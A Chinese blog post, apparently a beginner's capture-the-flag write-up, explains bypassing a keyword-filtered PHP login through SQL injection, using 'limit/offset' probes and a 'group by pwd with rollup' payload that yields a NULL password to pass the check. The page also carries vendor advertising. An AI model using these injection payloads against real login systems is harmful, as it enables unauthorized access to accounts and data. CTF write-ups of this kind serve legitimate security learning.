DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > WEB安全 > 正文

因缺思汀的绕过

09-18 WEB安全

一开始,直接看页面源代码,发现提示:siyrce.txt进去查看,发现是PHP代码
经过分析可知:

因缺思汀的绕过

想要得到flag必须先绕过这3点:
不能使用上述关键字
数据库影响数为1
通过第三个if

第一个不使用即可通过
第二个返回结果只能又一条(说明用户不止一个)
    确定一下当前用户人数,由于第一个过滤了,所以使用limit 1 offset 1来判断人数
    1' or 1 limit 1 offset 0#    返回亦可赛艇!(一个人)偏移量从0开始
    1’or 1 limit 1 offset 1#    返回亦可赛艇!(两个人)
    1' or 1 limit 1 offset 2#    返回一颗赛艇!(没有第三人)
    由此推出又两个用户
第三个输入的密码和数据库的密码要相同
    这里可以用这个语句group by pwd with rollup(分组后会在多一行统计)
    由于对字符串统计无效第三行的pwd结果是NULL这样就可以通过
    1' or 1 group by pwd with rollup limit 1 offset 2#
    由于使用了with rollup后会多出一条,所以offset 2 可以正确返回NULL

密码栏不需要输入,默认为NULL,输入了就不是NULL了
   
本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!

 

【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://www.ddosgb.com//web/131.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 722652访问次数
  • 建站天数

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X